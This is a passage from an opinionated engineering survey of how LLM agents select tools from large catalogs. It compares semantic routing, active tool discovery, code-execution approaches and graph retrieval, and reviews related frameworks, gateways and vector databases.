with >20 tools frequently locking up in circular execution loops.\n\n### What the article gets right \u2014 and what it leaves out\n\n**Correct:**\n\n- **Prompt-side tool bloat is real.** OpenAI\u2019s function-calling docs, Anthropic\u2019s MCP docs, and the broader agent SDK ecosystem all assume tools are explicit external interfaces rather than latent model knowledge. That naturally creates context pressure if every tool definition is always injected. [4](https://platform.openai.com/docs/guides/function-calling?api-mode=responses)\n- **On-demand tooling is now mainstream.** MCP explicitly standardizes external context/tools, and registries/installers like Smithery and platforms like Composio operationalize tool discovery rather than hardcoding giant tool lists. [5](https://docs.anthropic.com/en/docs/mcp)\n- **ANN/vector lookup is the right primitive** for first-pass tool recall; this is exactly the space FAISS, Qdrant, pgvector, Weaviate, Vespa, and others optimize. [6](https://github.com/facebookresearch/faiss)\n- **The decoupling principle.** Where it under-sells the landscape is in implying that \u201cSemantic Routing + JIT Injection\u201d is a single pattern. In reality there are **at least four competing architectural paradigms** now fighting for dominance, and a serious engineering analysis must contrast them:\n\n```mermaid\ngraph TD\nA[Large Tool Catalog Problem] --> B[Paradigm 1: Retrieval / Semantic Routing]\nA --> C[Paradigm 2: Agentic / Active Tool Discovery]\nA --> D[Paradigm 3: Code Execution / Progressive Disclosure]\nA --> E[Paradigm 4: Hierarchical / Graph Retrieval]\nB --> B1[semantic-router, vLLM-SR, Toolshed]\nC --> C1[MCP-Zero, AnyTool, ScaleMCP]\nD --> D1[Anthropic Code Execution, Cloudflare Code Mode]\nE --> E1[Graph RAG-Tool Fusion, COLT, AnyTool hierarchy]\n```\n\n**Incomplete:**\n\n- **Tool selection is not just semantic similarity.** Real production routing also depends on auth scope, tool side effects, cost, latency, tenant isolation, allowed providers, freshness, and risk policy. Gateways like Portkey, Routerly, LiteLLM, and vLLM Semantic Router all expose routing/policy surfaces beyond plain cosine similarity. [7](https://github.com/Portkey-ai/gateway)\n- **A single ANN hop is often too weak.** Better systems use **hierarchical retrieval**: rules \u2192 lexical/metadata filter \u2192 vector recall \u2192 rerank. That pattern shows up across semantic-router, RouteLLM/LLMRouter, and search engines like Elasticsearch/OpenSearch/Vespa. [1](https://github.com/aurelio-labs/semantic-router)\n- **You need durable execution, not just better selection.** LangGraph and Temporal are powerful because they turn tool use into resumable state machines/workflows rather than a single fragile chat loop. [8](https://github.com/langchain-ai/langgraph)\n\nThe most important technical claim of this report is that **Paradigm 1 is necessary but no longer sufficient at the frontier** \u2014 and that the cutting edge has moved toward hybrids of 1+3 and 1+2. My opinionated take: **semantic routing + JIT schema injection is necessary but not sufficient**. At scale, the state of the art is a **4-stage tool-selection stack**:\n\n1. **Deterministic prefilter** by tenant/auth/risk/domain.\n2. **Semantic or hybrid retrieval** over compact tool cards.\n3. **Optional learned rerank / policy scoring** for final candidate set.\n4. **JIT execution view injection** of only the chosen schemas, under a **durable workflow runtime** with tracing and human approval. [2](https://modelcontextprotocol.io/specification/2025-06-18/architecture/index)\n\nIf you have **\u226420 tools**, the article\u2019s \u201cdon\u2019t over-engineer it\u201d guidance is sound. Past that, the OSS ecosystem itself is strong evidence that routing/catalog separation is the dominant production pattern: LangGraph ships a `langgraph-bigtool` reference, MCP ecosystems standardize tool discovery and on-demand loading, and gateways/routers have become their own product category. [3](https://github.com/langchain-ai/langgraph-bigtool)\n\n---\n\n## 1. Technical Opinionated Landscape Report\n\nI have organized sourced items into the four paradigms plus the supporting infrastructure layer (vector DBs, embedding models, benchmarks, runtimes). For each significant project I give architecture, differentiator, candid critique, and OSS status.\n\n### Paradigm 1 \u2014 Retrieval-Based Semantic Routing (\u201cRAG for Tools\u201d)\n\nThis is the family the article describes. The unifying computational model: embed tool descriptions offline, embed the query at runtime, do an ANN/cosine search, inject top-K schemas.\n\n#### 1.1 `aurelio-labs/semantic-router`\n\n- **Architectural Overview:** A Python library that builds a decision layer _in front of_ the LLM. [3](https://qdrant.tech/documentation/frameworks/semantic-router/)Semantic-Router is a library to build decision-making layers for your LLMs and agents. It uses vector embeddings to make tool-use decisions rather than LLM generations, routing requests using semantic meaning. Pluggable encoder + pluggable index backend. [3](https://qdrant.tech/documentation/frameworks/semantic-router/)Qdrant is available as a supported index in Semantic-Router to ingest route data and perform retrievals, via the QdrantIndex class passed to a RouteLayer. App-level semantic route layer. Vector-space decision layer for intent routing. [1](https://github.com/aurelio-labs/semantic-router)\n- **Technical Differentiator:** The \u201cRoute\u201d abstraction \u2014 you define routes with example utterances, and the library fits a decision boundary at the embedding level. It is deterministic and CPU-cheap; no generation involved.\n- **Strengths:** Extremely low latency (single embedding + dot product), trivially testable, encoder-agnostic (OpenAI, Cohere, HuggingFace, FastEmbed). Backend-agnostic index (local, Pinecone, Qdrant, PostgreSQL/pgvector). Simple, fast, directly aligned to the core thesis.\n- **Weaknesses:** Static similarity with **no learning signal** \u2014 it never improves from whether the chosen tool actually succeeded. Route definitions require curated example utterances, which is a maintenance burden mirroring the article\u2019s \u201cweak descriptions\u201d risk. Multi-intent queries degrade it. Pure semantic matching can miss policy/state.\n- **OSS Status:** MIT-licensed, healthy community, the de-facto reference implementation of the article\u2019s pattern. Moderate/high adoption. [1](https://github.com/aurelio-labs/semantic-router)\n\n#### 1.2 vLLM Semantic Router (`vllm-project`)\n\n- **Architectural Overview:** A production-grade, infra-level router rather than a library. It sits as a proxy. [2](https://vllm-semantic-router.com/blog/semantic-tool-selection/)It implements semantic tool selection as an intelligent filter between user and LLM; the router modifies the API request to include only selected tools, dramatically reducing token usage. Notably the Red Hat implementation is a **hybrid Rust + Go** design: [7](https://developers.redhat.com/articles/2025/05/20/llm-semantic-router-intelligent-request-routing)a Rust Candle library provides efficient BERT embedding generation and similarity matching, Go FFI bindings let Golang call the Rust functions, and a Go-based ExtProc server handles communication with Envoy.\n- **Technical Differentiator:** It is an **Envoy ExtProc** plugin \u2014 routing is done at the API gateway, language-agnostic to the application, and OpenAI-compatible. The v0.1 \u201cIris\u201d release added [8](https://blog.vllm.ai/2026/01/05/vllm-sr-iris.html)support for the OpenAI Responses API with in-memory conversation state management, stateful conversations via previous_response_id chaining, and routing continuity across turns. It also bundles [8](https://blog.vllm.ai/2026/01/05/vllm-sr-iris.html)semantic tool filtering to automatically filter irrelevant tools before sending to the LLM, with context-aware selection considering conversation history. Infrastructure-layer signal-aware routing/policy.\n- **Strengths:** First-class observability \u2014 [7](https://developers.redhat.com/articles/2025/05/20/llm-semantic-router-intelligent-request-routing)Prometheus metrics track model selection, semantic cache hit ratio, HTTP request latency, and token usage, with a Grafana dashboard for visualization. This is the only Paradigm-1 system in this survey with production-grade diagnostics baked in. Deployable via Helm. Most ambitious system architecture.\n- **Weaknesses:** Heavier operational footprint (Envoy + ExtProc). The Rust/Go split raises the contribution bar (bus-factor risk on the Rust core). Tool filtering is newer/less battle-tested than its model-routing core. Early/beta and broader than tool-routing only.\n- **OSS Status:** Apache 2.0, vLLM-project governance, strong commercial backing (Red Hat), very high commit velocity as of early 2026. [11](https://vllm-semantic-router.com/docs/intro/)\n\n#### 1.3 OATS \u2014 Outcome-Aware Tool Selection\n\n- **Architectural Overview:** A research method (and the most intellectually important critique of the naive semantic router) that fixes the no-learning flaw. [1](https://arxiv.org/html/2603.13426v1)In the semantic router approach selection is a lightweight CPU operation but relies on static similarity with no learning; OATS preserves the fast path while incorporating outcome feedback through offline loops.\n- **Technical Differentiator:** It respects a brutal latency SLA \u2014 [1](https://arxiv.org/html/2603.13426v1)tool selection in a router must complete within single-digit milliseconds without GPU or LLM inference; at 10,000 requests/second with a 5ms budget, tool selection alone consumes 50 CPU-seconds per second. OATS does all learning _offline_, keeping the runtime a pure embedding lookup. Its variants are an offline-refined static embedding, a small MLP head, and an adapter, all of which [4](https://arxiv.org/pdf/2603.13426)stay within the millisecond CPU budget on 2,413 ToolBench tools \u2014 BM25 at ~7ms, static embedding ~5ms, OATS-S1 ~4ms \u2014 all viable at 10K rps.\n- **Strengths:** This is the correct answer to the article\u2019s \u201cRouter Misses a Critical Tool\u201d risk. Rather than papering over it with K=5 and a fallback meta-tool, OATS _learns_ the geometry from success/failure.\n- **Weaknesses:** Research-stage; requires an outcome-logging pipeline most teams lack. Offline retraining cadence becomes an MLOps concern.\n- **OSS Status:** Associated with the vLLM-SR ecosystem; arXiv 2603.13426.\n\n#### 1.4 Toolshed (RAG-Tool Fusion)\n\n- **Architectural Overview:** An advanced retriever-based pipeline with a tool knowledge base. It is candid that pure retrieval is insufficient: [10](https://arxiv.org/pdf/2410.14594)while the approach primarily relies on a retriever-based tool selection method, it also leverages an Agent for self-reflection and reranking of retrieved tools from each subquery or expanded query, resulting in a final list of tools to equip the Agent.\n- **Differentiator:** Query expansion + subquery decomposition + reranking \u2014 i.e., it imports the full mature RAG stack (not just naive cosine top-K) into tool selection.\n- **Weakness:** Each enhancement adds a hop; latency budget grows. Contrasts with OATS\u2019s \u201cstay on the fast path\u201d philosophy.\n- **OSS Status:** Research (arXiv 2410.14594).\n\n#### 1.5 Online-Optimized RAG for Tool Use\n\n- **Differentiator:** Bandit learning. [15](https://arxiv.org/html/2509.20415v1)It casts RAG tool/function selection as online learning with bandit-style execution feedback (success/failure signals only for the chosen tool), updating the retrieval geometry on the fly after each feedback. Unlike OATS (offline), this updates _online_: [15](https://arxiv.org/html/2509.20415v1)an online gradient descent variant adjusts embeddings per interaction using an importance-weighted estimator, keeping computation overhead minimal for large catalogs and high-throughput systems. Crucially it\u2019s drop-in: [15](https://arxiv.org/html/2509.20415v1)it integrates with common function-calling frameworks and LLM agents without altering the LLM.\n- **Verdict:** This + OATS represent the \u201clearned routing\u201d frontier that the article entirely omits.\n\n#### 1.6 ToolPickr\n\n- **Architectural Overview:** A retrieval-augmented tool picker that uses an ensemble of semantic search + BM25 (with an optional cross-encoder reranker) to find the most relevant tools for each query.\n- **Differentiator:** Hybrid retrieval combining dense and sparse signals, plus optional reranking \u2014 a practical implementation of the hybrid approach recommended in the decision tree.\n- **Weakness:** Early work-in-progress; under active development.\n- **OSS Status:** PyPI package, early stage.\n\n#### 1.7 ToolReAGt\n\n- **Architectural Overview:** A novel Retrieval-Augmented Generation approach for complex task solutions, demonstrating that tool retrieval accuracy must be evaluated at both the retriever and generator stages to ensure end-to-end task success.\n- **OSS Status:** Research.\n\n### Paradigm 2 \u2014 Agentic / Active Tool Discovery\n\nInstead of a router deciding _for_ the model, the model is given a meta-tool to _search for_ tools \u2014 the article\u2019s \u201crequest_more_tools\u201d fallback, taken to its logical conclusion as the primary mechanism.\n\n#### 1.8 MCP-Zero\n\n- **Architectural Overview:** Active discovery over a massive MCP server fleet. This is the source of the article\u2019s \u201c308 servers / 2,797 tools\u201d statistic. It catalogs prior art cleanly: [14](https://arxiv.org/pdf/2506.01056)Gorilla constructed vector databases from API documentation and usage examples, employing semantic similarity to retrieve relevant tools; [14](https://arxiv.org/pdf/2506.01056)RAG-MCP performs server-level matching between user queries and documentation, returning all tools from the most similar server as LLM context. MCP-Zero has been open-sourced as an active AI runtime that restores tool discovery autonomy to LLMs themselves, allowing them to proactively construct toolchains from scratch.\n- **Differentiator:** The agent _initiates_ retrieval rather than being passively fed candidates \u2014 a hierarchical, on-demand discovery loop.\n- **Weakness:** The well-documented failure mode of this whole family: [10](https://arxiv.org/pdf/2410.14594)API-Bank equips an LLM agent with a tool to search APIs (\u201cPlan+Retrieve+Call\u201d), but the authors noted a limitation that GPT-4 often will not call the search API tool. Active discovery only works if the model reliably chooses to discover.\n- **OSS Status:** Research (arXiv 2506.01056).\n\n#### 1.9 ScaleMCP\n\n- **Differentiator:** Auto-synchronizing tool indices for MCP. [13](https://arxiv.org/pdf/2505.06416)ScaleMCP uses a hybrid approach combining out-of-the-box embeddings and LLMs with advanced RAG or Graph-RAG retrieval strategies for tool storage. Its key contribution is keeping the vector index _in sync_ with a live, changing fleet of MCP servers \u2014 an operational concern the article\u2019s \u201coffline index build\u201d glosses over. ScaleMCP is a tool selection method introduced by PwC that dynamically equips LLM agents with MCP tools. [13](https://arxiv.org/html/2505.06416v1)\n- **OSS Status:** Research (arXiv 2505.06416).\n\n#### 1.10 AnyTool\n\n- **Differentiator:** Hierarchical agentic retrieval with self-reflection. [10](https://arxiv.org/pdf/2410.14594)AnyTool uses function calling to retrieve tools in a hierarchy-based tool-category-API structure and incorporates a self-reflective mechanism if the agent deems the retrieved tool unable to solve the question. AnyTool reports +35.4% pass-rate over flat baselines. Spans Paradigms 2+4.\n\n#### 1.11 MemTool\n\n- **Differentiator:** Treats tool sets as **short-term memory** to be managed across multi-turn conversations \u2014 a dimension the article ignores entirely (it implicitly assumes single-turn routing). [9](https://arxiv.org/pdf/2507.21428)LLMs inherently face limitations regarding the number of tools they can concurrently manage; complex multi-step tool interactions place substantial demands on reasoning, complicating tool selection and sequencing. MemTool stores embeddings for [9](https://arxiv.org/pdf/2507.21428)5,000 MCP servers in its tool knowledge base. MemTool is a short-term memory framework enabling LLM agents to dynamically retrieve and manage tools or MCP server contexts across multi-turn conversations, outperforming previous state-of-the-art tool retrieval approaches that lack multi-turn support and memory management of available tools or MCPs.\n- **Verdict:** The multi-turn tool churn problem is real and under-addressed in the source article.\n- **OSS Status:** Research, presented at Advances in Information Retrieval 2026.\n\n### Paradigm 3 \u2014 Code Execution / Progressive Disclosure\n\nThis is the most important development the article _underweights_ (it cites the token figure but not the architectural shift). Two major labs independently concluded that routing tools to a prompt is itself the wrong frame.\n\n#### 1.12 Anthropic \u2014 Code Execution with MCP\n\n- **Architectural Overview:** Present MCP servers as a **code API on a filesystem**, not as prompt-injected schemas. [19](https://www.anthropic.com/engineering/code-execution-with-mcp)The agent discovers tools by exploring the filesystem \u2014 listing the ./servers/ directory to find servers like google-drive and salesforce, then reading specific tool files like getDocument.ts to understand each interface \u2014 loading only the definitions it needs for the current task. This is the source of the article\u2019s headline statistic: [19](https://www.anthropic.com/engineering/code-execution-with-mcp)this reduces token usage from 150,000 tokens to 2,000 tokens \u2014 a time and cost saving of 98.7%.\n- **Technical Differentiator vs. Paradigm 1:** Three compounding wins the semantic router _cannot_ achieve. (1) Data stays out of context: [19](https://www.anthropic.com/engineering/code-execution-with-mcp)intermediate results stay in the execution environment by default, so the agent only sees what you explicitly log or return \u2014 data you don\u2019t wish to share can flow through the workflow without ever entering the model\u2019s context. (2) Latency from control flow: [19](https://www.anthropic.com/engineering/code-execution-with-mcp)writing out a conditional tree that gets executed saves on time-to-first-token \u2014 rather than waiting for the model to evaluate an if-statement, the execution environment does it. (3) Progressive disclosure replaces top-K guessing.\n- **Security Note:** Adoption of MCP expanded significantly through 2025 and into 2026, with the Anthropic SDK accumulating more than 150 million downloads across package registries. However, a design-level flaw in Anthropic's MCP SDK (STDIO transport) affecting 7,000+ publicly accessible servers was disclosed in April 2026.\n- **Independent Corroboration (Cloudflare \u201cCode Mode\u201d):** [26](https://leverageai.com.au/why-code-first-agents-beat-mcp-by-98-7/)Cloudflare independently reached the same conclusion and built \u201cCode Mode\u201d: they found agents handle many more tools, and more complex tools, when presented as a TypeScript API rather than directly. The scale of the underlying problem is concrete: [26](https://leverageai.com.au/why-code-first-agents-beat-mcp-by-98-7/)connect to a dozen popular MCP servers and you\u2019ll burn 50,000-66,000 tokens before the agent sees the user\u2019s question \u2014 the GitHub MCP server alone defines 93 tools consuming 55,000 tokens. Cloudflare has officially productized the \u201cCode Mode\u201d pattern. By giving the sandbox access to bindings representing MCP servers, the model writes code instead of requesting each operation separately. Code Mode enables LLMs to write and execute code that orchestrates your tools, instead of calling them one at a time, yielding significant token savings, reducing context window pressure and improving overall model performance on a task. The @cloudflare/codemode package implements that pattern with an isolated executor, service connectors, and a durable runtime. This approach reduces tokens spent by up to 80%. For massive APIs like the Cloudflare API, Code Mode reduces input token usage by **99.9%** compared to equivalent MCP servers without Code Mode.\n- **Candid Critique:** This is not free. [19](https://www.anthropic.com/engineering/code-execution-with-mcp)Code execution introduces its own complexity: running agent-generated code requires a secure execution environment with sandboxing, resource limits, and monitoring \u2014 infrastructure requirements that add operational overhead and security considerations that direct tool calls avoid. Anthropic is admirably honest that [19](https://www.anthropic.com/engineering/code-execution-with-mcp)the benefits \u2014 reduced token costs, lower latency, improved tool composition \u2014 should be weighed against these implementation costs.\n- **OSS Status:** The pattern is documented engineering guidance; community reference implementations (e.g. `mcp-code-exec`) exist, with practitioners noting that [23](https://s1v4-d.medium.com/how-i-built-a-98-7-token-efficient-mcp-code-execution-engine-d76437dcba9b)the gap between \u201c98.7% token reduction\u201d and \u201cproduction-ready\u201d is where the real engineering happens \u2014 especially around the hand-waved sandboxing.\n\n**Engineering verdict on Paradigm 3:** The 98.7% figure quoted in the source article actually belongs to _code execution_, not semantic routing. The article borrows MCP\u2019s headline number to validate a different (routing) architecture. These are complementary, not equivalent \u2014 a subtle but important conflation.\n\n### Paradigm 4 \u2014 Hierarchical & Graph Retrieval\n\n#### 1.13 Graph RAG-Tool Fusion\n\n- **Differentiator:** Captures **tool dependencies** that flat vector search misses. [17](https://arxiv.org/pdf/2502.07223)Graph-based methods plan out multi-hop queries with available APIs, but earlier approaches did not consider direct or indirect tool dependencies and the benefits of vector retrieval \u2014 Graph RAG-Tool Fusion fuses both. Essential when `book_flight` is meaningless without `search_flights` first.\n- **OSS Status:** Research (arXiv 2502.07223).\n\n#### 1.14 FastInsight\n\n- **Differentiator:** A graph-based retrieval-augmented generation framework that interleaves GRanker and STeX operators to combine semantic and topological cues. It introduces a graph retrieval taxonomy categorizing existing methods into three fundamental operations: vector search, graph search, and model-based search.\n- **Strengths:** Enables efficient insightful retrieval by addressing limitations in graph-based and model-based search through novel fusion operators.\n- **OSS Status:** Research (under review, WWW 2026).\n\n#### 1.15 Flexible GraphRAG\n\n- **Differentiator:** An open-source AI context platform supporting a document processing pipeline, knowledge graph auto-building, ontologies, schemas, many LLM providers, GraphRAG and RAG, hybrid semantic search (fulltext, vector, property graph, RDF/SPARQL), AI query, and AI chat.\n- **Strengths:** Supports 15 property graph databases, 4 RDF stores, 10 vector databases, 13 data sources (9 auto-sync).\n- **OSS Status:** Active open-source project with MCP server support.\n\n#### 1.16 NebulaGraph Fusion GraphRAG\n\n- **Differentiator:** Industry's first full-chain enhancement of RAG built upon a native graph foundation, moving beyond disparate tools to intelligently fuse knowledge graph technology, document structure, and semantic mapping into a single, cohesive framework.\n- **Strengths:** Integrates graph depth, vector breadth, and full-text precision for enterprise-grade AI applications.\n- **OSS Status:** Commercial/open-core from NebulaGraph.\n\n#### 1.17 Hierarchical retrievers \u2014 ToolRerank, COLT, Re-Invoke, Tool2Vec\n\nA cluster of techniques surveyed in MCP-Zero: [14](https://arxiv.org/pdf/2506.01056)AnyTool implemented multi-level retrieval over RapidAPI with separate \u201ccategory-tool-API\u201d retrievers; ToolRerank leveraged pre-trained BERT for semantic matching; COLT employed specialized language models for tool selection; Re-Invoke introduced key-information extraction from user queries before tool matching. Tool2Vec is notable for tackling the query\u2194\ufe0eAPI semantic gap: [14](https://arxiv.org/pdf/2506.01056)it addressed the semantic gap between user requests and formal API descriptions by pre-collecting diverse user invocation patterns and computing averaged embeddings, though this requires extensive user-interaction datasets.\n\n- **ToolRerank:** An adaptive and hierarchy-aware reranking method for tool retrieval that includes two key components: Adaptive Truncation and Hierarchy-Aware Reranking.\n- **COLT:** A model-agnostic COllaborative Learning-based Tool Retrieval approach that captures not only semantic similarities between user queries and tool descriptions but also takes into account the collaborative information of tools.\n- **Re-Invoke:** An unsupervised tool retrieval method (Google Research) that rewrites tool invocations for zero-shot retrieval. It leverages LLMs for tool document enrichment and user intent extraction, scaling effectively to large toolsets without requiring training data.\n\n### Cross-Cutting Research: ITR & Tool RAG\n\n**Instruction-Tool Retrieval (ITR)** generalizes the article\u2019s idea to _also_ route the system prompt: [11](https://arxiv.org/abs/2602.17046)it retrieves, per step, only the minimal system-prompt fragments and the smallest necessary subset of tools, composing a dynamic runtime system prompt with confidence-gated fallbacks. Its reported gains are the strongest quantitative validation of the article\u2019s whole thesis: [11](https://arxiv.org/abs/2602.17046)ITR reduces per-step context tokens by 95%, improves correct tool routing by 32% relative, and cuts end-to-end episode cost by 70% versus a monolithic baseline. And critically for long-running agents: [11](https://arxiv.org/abs/2602.17046)these savings enable agents to run 2-20x more loops within context limits, and compound with the number of agent steps.\n\nRed Hat\u2019s **Tool RAG** writeup is the best vendor synthesis, noting Tool RAG inherits the full RAG toolbox: [16](https://next.redhat.com/2025/11/26/tool-rag-the-next-breakthrough-in-scalable-ai-agents/)dense and hybrid retrieval can improve recall and precision; LLM-assisted reranking modifies the order tool candidates are presented; query rewriting transforms the user request into a more effective retrieval query for ambiguous or multi-intent inputs.\n\n### Emerging Research: HyFunc & Live API-Bench\n\n- **HyFunc:** Accelerates LLM-based function calls through a hybrid-model cascade where a large model distills user intent into a single \u201csoft token\u201d that guides a lightweight retriever to select relevant functions and directs a smaller, prefix-tuned model to generate the final call, avoiding redundant context processing and full-sequence generation. Accepted at KDD'26.\n- **Live API-Bench:** A comprehensive benchmark constructed by transforming NL2SQL datasets into interactive API environments, featuring 2,500+ live APIs for testing multi-step tool calling, enabling systematic evaluation of error handling, sequential reasoning, parameter generation, response parsing, and robustness across diverse domains.\n\n### Application Frameworks & Agent Runtimes\n\n- **LangChain / LlamaIndex:** Neither ships a \u201csemantic tool router\u201d as a headline primitive, but both provide the parts. LlamaIndex\u2019s `ObjectIndex`/`as_retriever()` over tool objects, and LangChain\u2019s standard Retriever interface, are how most teams actually implement the article\u2019s Step 2. [31](https://apxml.com/courses/python-llm-workflows/chapter-7-building-rag-systems/integrating-llamaindex-langchain-rag)For complex agent workflows, a LlamaIndex QueryEngine can be wrapped as a LangChain Tool. The clean separation \u2014 [30](https://softwaremind.com/blog/llamaindex-vs-langchain-key-differences/)LlamaIndex specializes in search/retrieval optimizing for quick data access, while LangChain offers a broader toolset emphasizing flexibility \u2014 maps directly onto \u201cretrieve tools (LlamaIndex) / orchestrate execution (LangChain).\u201d [12](https://github.com/langchain-ai/langchain) [13](https://github.com/run-llama/llama_index)\n- **LangGraph:** Stateful graph runtime for agents; Python/JS; durable workflows. Explicit node/edge state machine; durable execution; HITL. Best OSS fit for routed multi-step agents. LangGraph is a low-level orchestration framework for building AI agents and complex AI workflows, the most widely adopted tool for production-grade AI workflows in the Python ecosystem in 2026. [8](https://github.com/langchain-ai/langgraph)\n- **LangGraph BigTool:** Reference impl for \u201cmany tools\u201d routing. Practical large-tool pattern inside LangGraph ecosystem. Directly relevant to this article\u2019s thesis. [3](https://github.com/langchain-ai/langgraph-bigtool)\n- **Haystack:** Pipeline-oriented LLM orchestration; Python. Explicit modular pipelines + routers. Clear DAG mental model; good retrieval control. [14](https://github.com/deepset-ai/haystack)\n- **AutoGen:** Multi-agent programming framework. Conversational multi-agent interaction patterns. [15](https://github.com/microsoft/autogen)\n- **Semantic Kernel / Microsoft Agent Framework:** Model-agnostic SDK, plugins, multi-agent orchestration. Enterprise interoperability, MCP/A2A emphasis. [16](https://github.com/microsoft/semantic-kernel)\n- **CrewAI:** Role/crew abstractions; Python. \u201cCrews\u201d + \u201cFlows\u201d split between autonomy and explicit control. [17](https://github.com/crewaiinc/crewai)\n- **Agno:** Agent platform + AgentOS; registry/control-plane orientation. Multi-framework serving, knowledge, toolkits, UI registry. [18](https://github.com/agno-agi/agno)\n- **PydanticAI:** Python-first typed agent framework. Pydantic-native validation + strong typing. Excellent schema discipline and DX. [19](https://github.com/pydantic/pydantic-ai)\n- **smolagents:** Minimal code-as-action agent library. \u201cAgents think in code\u201d with sandbox options. [20](https://github.com/huggingface/smolagents)\n- **Mastra:** TypeScript AI app/agent framework. TS-native agents + workflows + MCP server authoring. [21](https://github.com/mastra-ai/mastra)\n- **BeeAI Framework:** Python/TS agent framework from Linux Foundation/IBM orbit. Declarative workflows + constraints. [22](https://github.com/i-am-bee/beeai-framework)\n- **Atomic Agents:** Lightweight modular agent building blocks. \u201cAtomic\u201d single-purpose LEGO-like composition. [23](https://github.com/BrainBlend-AI/atomic-agents)\n- **DSPy:** Declarative LM programming/compiler. Compiles programs + prompt/weight optimization. Excellent for learned selection/reranking layers. [24](https://github.com/stanfordnlp/dspy)\n- **OpenAI Agents SDK:** OpenAI-first multi-agent/workflow SDK. Model-native harness, tracing, sandbox integrations. [25](https://github.com/openai/openai-agents-python)\n- **Vercel AI SDK:** TypeScript toolkit for AI apps/agents. Uniform TS API, modern streaming/tools/UI. [26](https://github.com/vercel/ai)\n- **Gorilla:** The progenitor \u2014 vector DB over API docs + a model fine-tuned for API calls, and now the home of the BFCL benchmark.\n\n**Take:** For this topic, the best open-source runtime pair is **LangGraph + Temporal-style durability ideas**; the best typed lightweight alternative is **PydanticAI**; the best TS app-framework choice is **Mastra** or **Vercel AI SDK** depending on how much workflow control you need. [8](https://github.com/langchain-ai/langgraph)\n\n### Tool Protocols, Catalogs, and Context-Loading Infrastructure\n\n- **OpenAI function calling / Responses API:** JSON-schema tool calling via API. Structured outputs + unified Responses flow. Clean baseline for JIT schema injection. [4](https://platform.openai.com/docs/guides/function-calling?api-mode=responses)\n- **Anthropic MCP / MCP specification:** Open protocol for context/tools. Standardized client/server tool access. Cross-vendor protocol model. Strong protocol framing for on-demand tools. [5](https://docs.anthropic.com/en/docs/mcp) [2](https://modelcontextprotocol.io/specification/2025-06-18/architecture/index)\n- **MCP Python SDK / TypeScript SDK:** Official SDKs. Typed structured output, auth hooks, notifications. Bun/Deno/Node support. [9](https://github.com/modelcontextprotocol/python-sdk) [27](https://github.com/modelcontextprotocol/typescript-sdk/blob/main/docs/client.md)\n- **FastMCP:** Pythonic MCP server/client toolkit. Extremely low-friction server authoring. FastMCP has emerged as the standard Pythonic framework for building MCP applications. Prefect (PrefectHQ) now maintains FastMCP and offers \"Prefect Horizon\" as the enterprise MCP gateway for running servers safely. [28](https://github.com/mcp-research/jlowin__fastmcp)\n- **mcp-agent:** MCP-native workflow/agent runtime. Purpose-built around MCP + durable workflows. [29](https://github.com/lastmile-ai/mcp-agent)\n- **Smithery CLI:** MCP server/skill registry/installer. Search/install/manage MCP servers and skills. Excellent discovery plane for large tool catalogs. Smithery is the open marketplace for MCP servers, providing the core infrastructure for agents to seamlessly interact with the world \u2014 the largest open marketplace for MCP servers. [30](https://github.com/smithery-ai/cli)\n- **Composio:** Large tool/auth/catalog platform. 1000+ toolkits, auth, search, context mgmt, sandbox. Composio was built for agents from day one. It provides integration with 90+ tools including GitHub, Salesforce, Gmail, Slack, CRM, HRM, ticketing, productivity, and accounting systems. They are currently exploring \u201cAgent Bazaar,\u201d a commerce layer enabling per-call billing for tool providers. [31](https://github.com/ComposioHQ/composio)\n\n**Take:** This is the **real strategic shift** behind the article: the future is not \u201ctool arrays,\u201d it is **tool protocols + registries + typed servers**. MCP is the strongest neutral abstraction; Smithery/Composio are the most practical evidence that tool catalogs are becoming infrastructure. [5](https://docs.anthropic.com/en/docs/mcp)\n\n### Routers, Selectors, and Gateways\n\n- **RouteLLM:** Framework for LLM routing/serving/evals. Preference-data-trained model routers. Routes **models**, not tools, out of box. [32](https://github.com/lm-sys/RouteLLM)\n- **LLMRouter:** Library for many router models. 16+ routing models incl. KNN/SVM/MLP/GNN. [33](https://github.com/ulab-uiuc/LLMRouter)\n- **LiteLLM Router:** Unified API + retry/fallback/load balance. Provider normalization with router callbacks. The gateway is no longer just routing model calls \u2014 it is routing agent work. LiteLLM is migrating to Rust for performance. [34](https://docs.litellm.ai/)\n- **Portkey Gateway:** AI gateway with routing + guardrails. Open-source gateway + model catalog + policies. Portkey was acquired by Palo Alto Networks in 2026. Portkey's gateway processes over 1 trillion tokens every day. [7](https://github.com/Portkey-ai/gateway)\n- **Routerly:** Self-hosted TS LLM gateway. Multi-policy scoring incl. LLM-native policy; no DB. Routerly is the only gateway that combines self-hosting, native Anthropic support, and LLM-powered routing \u2014 with zero external dependencies. [35](https://github.com/Inebrio/Routerly)\n- **Squirrel LLM Gateway:** Unified proxy/dashboard. Provider mappings + failover + logs. [36](https://github.com/mylxsw/llm-gateway)\n- **Anyscale llm-router:** Tutorial/reference implementation. Causal-LLM classifier for routing. [37](https://github.com/anyscale/llm-router)\n- **NVIDIA AI Blueprints `llm-router`:** NVIDIA has released an AI Blueprint for LLM routing that utilizes pre-trained neural networks and stored weights to route requests dynamically.\n\n**Take:** The best pattern is **hybrid**: use **semantic-router / ANN** for **tool recall**, use **LiteLLM / Portkey / Routerly** for **provider/model routing**, use **policy filters** before both. Do **not** make one router solve every concern. [1](https://github.com/aurelio-labs/semantic-router)\n\n### Infrastructure Layer: Vector DBs & Retrieval Engines\n\nThe article names FAISS, Qdrant, Chroma, Pinecone. To that I\u2019d add Milvus/Zilliz and pgvector. The discriminating choice is **flat vs. served**: for <100K tools, an in-process FAISS or HNSW index loaded at startup beats a network hop to a managed DB every time \u2014 exactly the article\u2019s \u201cOver-Engineering\u201d mitigation. The OATS data reinforces this: [4](https://arxiv.org/pdf/2603.13426)latency was measured per-request p50 on 2,413 tools, all methods running on CPU \u2014 at these catalog sizes a vector _server_ is overkill.\n\n- **FAISS:** C++/Python ANN library, CPU/GPU. Best low-level ANN toolbox. Fast, mature, highly controllable. FAISS v1.14.3 added Metal GPU backend expansion \u2014 new MetalIndexIVFFlat with IVF scan/merge kernels and expanded top-k support; Metal now enabled by default on Apple Silicon machines. [6](https://github.com/facebookresearch/faiss)\n- **Qdrant:** Rust vector DB with payload filtering. Strong filtering + production service model. Qdrant raised $50M Series B in March 2026. Qdrant 1.17 introduced Relevance Feedback Query. Qdrant 1.18 introduced TurboQuant, a new quantization method developed by Google Research. [38](https://github.com/qdrant/qdrant)\n- **Chroma:** Retrieval/vector infrastructure for AI. Lightweight developer-friendly stack. [39](https://github.com/chroma-core/chroma)\n- **Milvus:** Cloud-native vector DB. Large-scale ANN 